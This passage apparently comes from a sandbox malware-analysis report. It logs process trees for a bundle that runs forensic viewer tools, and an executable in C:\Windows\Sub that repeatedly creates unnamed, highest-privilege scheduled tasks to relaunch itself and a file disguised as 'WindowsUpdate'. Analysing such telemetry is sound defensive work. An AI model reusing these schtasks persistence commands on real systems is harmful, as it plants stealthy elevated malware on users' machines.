    C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview
    3⤵
    PID:4864
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Loads dropped DLL
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4968
- - C:\Windows\system32\tar.exe
    C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview
    3⤵
    PID:4948
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2080
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Loads dropped DLL
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:568
- - C:\Windows\system32\tar.exe
    C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist
    3⤵
    PID:4728
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:116
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Loads dropped DLL
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:900
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4192
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1844
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:4012
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3208
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1116
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3900
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:4252
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3124
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4024
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4344
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5072
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1864
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:636
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2956
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1464
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:4364
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:524
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4260
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:4336
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4476
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:3388
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    PID:5040
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2904
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5212
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5160
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1444
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5324
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:5344

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4936
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:496
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:4992
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:1360
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:5248

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3304
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:2056
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:5212
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:1704
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:5276

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4872
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4960
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5192
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2452
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5240

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3788
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5300
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:5780
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5496
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:5884

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2804
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5476
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5704
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5740
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5952

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2304
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5460
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:5860
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5616
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5960

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4004
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5992
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6040
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6032
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:6132

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:960
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5452
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5868
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5680
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5904

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1284
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5484
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:5696
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5640
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5892

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2524
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6076
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:6140
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3736
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3144

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:784
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:2152
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:896
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:1696
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:2140

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2336
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:1196
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6092
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3900
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:5184

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5504
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:3960
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:872
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2744
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:568

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5924
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5336
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2564
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3088
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7188

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2420
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:2608
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4756
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5868
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:4860

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2332
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4192
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4612
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:1492
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7240

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:936
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5028
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:2996
- C:\Windows\system32\cmd.exe
